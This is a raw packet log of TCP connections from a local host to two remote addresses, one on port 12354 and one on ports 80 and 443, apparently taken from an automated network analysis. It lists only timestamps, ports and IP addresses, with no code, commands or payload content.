Dec 11, 2024 16:25:35.158715010 CET	12354	50392	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:36.244795084 CET	443	50384	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:36.244879961 CET	50384	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.245296001 CET	50384	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.245310068 CET	443	50384	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:36.246951103 CET	50384	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.246969938 CET	443	50384	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:36.584445953 CET	50389	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.584476948 CET	50392	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.584489107 CET	50384	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.586025000 CET	50423	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.701822996 CET	50429	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.702092886 CET	50358	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.702308893 CET	50430	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.705492973 CET	12354	50423	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:36.705574989 CET	50423	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.705670118 CET	50423	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.822258949 CET	12354	50429	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:36.822370052 CET	50429	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.822737932 CET	80	50430	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:36.822751045 CET	80	50358	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:36.822789907 CET	50430	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.822819948 CET	50358	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.823462963 CET	50429	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:36.823565960 CET	50430	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:36.826092958 CET	12354	50423	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:36.942936897 CET	12354	50429	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:36.942958117 CET	80	50430	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:38.405175924 CET	80	50430	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:38.408708096 CET	50430	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:38.410922050 CET	50454	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:38.410996914 CET	443	50454	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:38.412657022 CET	50454	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:38.412861109 CET	50454	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:38.412887096 CET	443	50454	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:38.813668013 CET	12354	50423	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:38.816701889 CET	50423	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:38.816788912 CET	50423	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:38.817061901 CET	50467	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:38.936167955 CET	12354	50423	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:38.936458111 CET	12354	50467	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:38.936598063 CET	50467	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:38.938643932 CET	12354	50429	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:38.938874960 CET	50429	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:38.943375111 CET	50467	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:38.943633080 CET	50429	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:38.944521904 CET	50470	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:39.062706947 CET	12354	50467	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:39.063131094 CET	12354	50429	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:39.065751076 CET	12354	50470	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:39.066030979 CET	50470	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:39.066222906 CET	50470	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:39.185527086 CET	12354	50470	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:40.109671116 CET	443	50454	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:40.109745026 CET	50454	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.195986032 CET	50454	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.196017981 CET	443	50454	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:40.198242903 CET	50454	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.198250055 CET	443	50454	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:40.596716881 CET	50454	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.596716881 CET	50470	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.599334002 CET	50467	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.635565996 CET	50500	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.755141020 CET	12354	50500	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:40.756664038 CET	50500	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.767870903 CET	50500	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.772799969 CET	50502	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.774566889 CET	50430	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.775038004 CET	50503	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.887209892 CET	12354	50500	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:40.892119884 CET	12354	50502	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:40.892375946 CET	50502	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.894344091 CET	80	50503	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:40.894355059 CET	80	50430	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:40.894416094 CET	50430	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.894424915 CET	50503	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:40.902616978 CET	50502	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:40.902745008 CET	50503	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:41.021910906 CET	12354	50502	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:41.022027016 CET	80	50503	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:42.474132061 CET	80	50503	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:42.476672888 CET	50503	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:42.479294062 CET	50544	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:42.479410887 CET	443	50544	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:42.479571104 CET	50544	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:42.480166912 CET	50544	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:42.480207920 CET	443	50544	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:42.876033068 CET	12354	50500	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:42.876771927 CET	50500	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:42.876899958 CET	50500	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:42.877923965 CET	50557	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.000760078 CET	12354	50500	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:43.000838041 CET	12354	50557	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:43.001000881 CET	50557	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.003683090 CET	50557	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.033802032 CET	12354	50502	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:43.036717892 CET	50502	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.036760092 CET	50502	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.037189960 CET	50563	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.126362085 CET	12354	50557	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:43.159682035 CET	12354	50502	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:43.160290003 CET	12354	50563	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:43.160412073 CET	50563	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.160845041 CET	50563	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:43.280194044 CET	12354	50563	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:44.178108931 CET	443	50544	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:44.178219080 CET	50544	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:44.178601027 CET	50544	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:44.178631067 CET	443	50544	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:44.180305958 CET	50544	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:44.180320024 CET	443	50544	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:44.775394917 CET	50563	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:44.775418043 CET	50557	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:44.775547028 CET	50544	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:44.775854111 CET	50618	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:44.888889074 CET	50622	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:44.890706062 CET	50503	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:44.891330957 CET	50623	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:44.898901939 CET	12354	50618	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:44.900373936 CET	50618	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:44.900798082 CET	50618	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:45.008363008 CET	12354	50622	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:45.008800030 CET	50622	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:45.010304928 CET	50622	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:45.010344982 CET	80	50503	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:45.010536909 CET	50503	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:45.010798931 CET	80	50623	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:45.013757944 CET	50623	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:45.014164925 CET	50623	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:45.020236015 CET	12354	50618	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:45.131710052 CET	12354	50622	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:45.135982037 CET	80	50623	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:46.594037056 CET	80	50623	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:46.594165087 CET	50623	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:46.617975950 CET	50674	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:46.618026972 CET	443	50674	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:46.618175983 CET	50674	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:46.618354082 CET	50674	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:46.618366003 CET	443	50674	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:47.035393000 CET	12354	50618	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:47.035608053 CET	50618	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.035725117 CET	50618	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.036144972 CET	50687	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.128145933 CET	12354	50622	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:47.128262043 CET	50622	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.128329992 CET	50622	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.153228045 CET	50692	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.156311035 CET	12354	50618	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:47.157705069 CET	12354	50687	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:47.157777071 CET	50687	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.158174038 CET	50687	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.247657061 CET	12354	50622	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:47.272603989 CET	12354	50692	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:47.272674084 CET	50692	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.272820950 CET	50692	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:47.277431965 CET	12354	50687	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:47.392611980 CET	12354	50692	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:48.775655985 CET	50692	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:48.775719881 CET	50687	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:48.776134014 CET	50748	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:48.776277065 CET	50674	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:48.892003059 CET	50753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:48.892189026 CET	50623	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:48.892410994 CET	50754	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:48.895937920 CET	12354	50748	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:48.896632910 CET	50748	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:48.896734953 CET	50748	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:49.011591911 CET	12354	50753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:49.011678934 CET	80	50754	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:49.011898041 CET	50753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:49.011910915 CET	50754	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:49.012020111 CET	50753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:49.012139082 CET	50754	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:49.012196064 CET	80	50623	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:49.012281895 CET	50623	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:49.016093969 CET	12354	50748	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:49.131455898 CET	12354	50753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:49.131489992 CET	80	50754	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:50.583398104 CET	80	50754	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:50.583583117 CET	50754	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:50.585745096 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:50.585796118 CET	443	50813	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:50.586637020 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:50.587220907 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:50.587239027 CET	443	50813	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:51.000834942 CET	12354	50748	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:51.004471064 CET	50748	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.041057110 CET	50748	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.041462898 CET	50835	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.126836061 CET	12354	50753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:51.130712032 CET	50753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.135749102 CET	50753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.187984943 CET	50837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.248935938 CET	12354	50748	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:51.248986959 CET	12354	50835	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:51.249058008 CET	50835	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.253005028 CET	50835	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.407241106 CET	12354	50753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:51.407416105 CET	12354	50837	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:51.407511950 CET	50837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.424747944 CET	50837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:51.495657921 CET	12354	50835	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:51.549812078 CET	12354	50837	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:52.309933901 CET	443	50813	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:52.310305119 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.310719967 CET	443	50813	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:52.310786009 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.325114965 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.325133085 CET	443	50813	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:52.325455904 CET	443	50813	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:52.325864077 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.325864077 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.371329069 CET	443	50813	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:52.776134014 CET	50835	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:52.776314020 CET	50813	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.776551962 CET	50837	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:52.778129101 CET	50912	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:52.888082027 CET	50919	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:52.891143084 CET	50754	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.891596079 CET	50921	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:52.897397041 CET	12354	50912	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:52.897468090 CET	50912	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:52.897680998 CET	50912	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:53.007378101 CET	12354	50919	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:53.008781910 CET	50919	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:53.009042978 CET	50919	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:53.010806084 CET	80	50921	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:53.010883093 CET	80	50754	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:53.010976076 CET	50754	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:53.010998964 CET	50921	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:53.015444040 CET	50921	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:53.016896009 CET	12354	50912	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:53.128966093 CET	12354	50919	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:53.136399984 CET	80	50921	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:54.576371908 CET	80	50921	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:54.576431990 CET	50921	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:54.578761101 CET	51017	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:54.578804970 CET	443	51017	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:54.578886986 CET	51017	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:54.579134941 CET	51017	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:54.579152107 CET	443	51017	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:55.019423008 CET	12354	50912	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:55.020597935 CET	50912	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.021167040 CET	50912	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.021567106 CET	51045	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.126835108 CET	12354	50919	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:55.128647089 CET	50919	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.128734112 CET	50919	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.141318083 CET	12354	50912	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:55.142637968 CET	12354	51045	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:55.142792940 CET	51045	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.157731056 CET	51045	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.160010099 CET	51050	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.248291016 CET	12354	50919	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:55.280664921 CET	12354	51045	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:55.283394098 CET	12354	51050	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:55.283592939 CET	51050	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.284895897 CET	51050	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:55.406347036 CET	12354	51050	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:56.273364067 CET	443	51017	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:56.273448944 CET	51017	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:56.277523994 CET	51017	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:56.277554035 CET	443	51017	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:56.279047012 CET	51017	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:56.279061079 CET	443	51017	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:56.792438030 CET	51017	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:56.792471886 CET	51050	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:56.792541981 CET	51045	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:56.795459986 CET	51141	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:56.904932976 CET	51148	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:56.905168056 CET	50921	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:56.905401945 CET	51149	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:56.920854092 CET	12354	51141	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:56.924660921 CET	51141	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:56.924770117 CET	51141	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:57.024777889 CET	12354	51148	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:57.024892092 CET	51148	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:57.025124073 CET	80	51149	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:57.025183916 CET	51149	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:57.025196075 CET	80	50921	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:57.025250912 CET	50921	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:57.029735088 CET	51148	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:57.031270981 CET	51149	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:57.045912027 CET	12354	51141	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:57.151212931 CET	12354	51148	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:57.152249098 CET	80	51149	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:58.597588062 CET	80	51149	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:58.597646952 CET	51149	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:58.618087053 CET	51249	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:58.618127108 CET	443	51249	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:58.618176937 CET	51249	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:58.619524002 CET	51249	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:58.619535923 CET	443	51249	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:59.032974958 CET	12354	51141	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:59.036648035 CET	51141	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.036775112 CET	51141	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.037656069 CET	51278	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.141738892 CET	12354	51148	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:59.143435955 CET	51148	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.143471956 CET	51148	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.154539108 CET	51284	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.156007051 CET	12354	51141	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:59.156955957 CET	12354	51278	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:59.157062054 CET	51278	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.157171965 CET	51278	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.263844013 CET	12354	51148	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:59.273819923 CET	12354	51284	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:59.274000883 CET	51284	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.275904894 CET	51284	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:59.276998043 CET	12354	51278	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:59.395895004 CET	12354	51284	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:00.305823088 CET	443	51249	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:00.305902004 CET	51249	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:00.315828085 CET	51249	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:00.315838099 CET	443	51249	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:00.317374945 CET	51249	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:00.317380905 CET	443	51249	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:00.806860924 CET	51249	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:00.806895971 CET	51284	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:00.806915998 CET	51278	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:00.808202982 CET	51378	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:00.920263052 CET	51386	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:00.921971083 CET	51149	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:00.922178984 CET	51387	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:00.932415962 CET	12354	51378	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:00.936635971 CET	51378	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:00.936731100 CET	51378	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:01.040939093 CET	12354	51386	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:01.043170929 CET	80	51387	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:01.043209076 CET	80	51149	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:01.043330908 CET	51386	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:01.043345928 CET	51149	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:01.043426037 CET	51387	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:01.045604944 CET	51386	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:01.045877934 CET	51387	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:01.057964087 CET	12354	51378	107.163.241.232	192.168.2.4
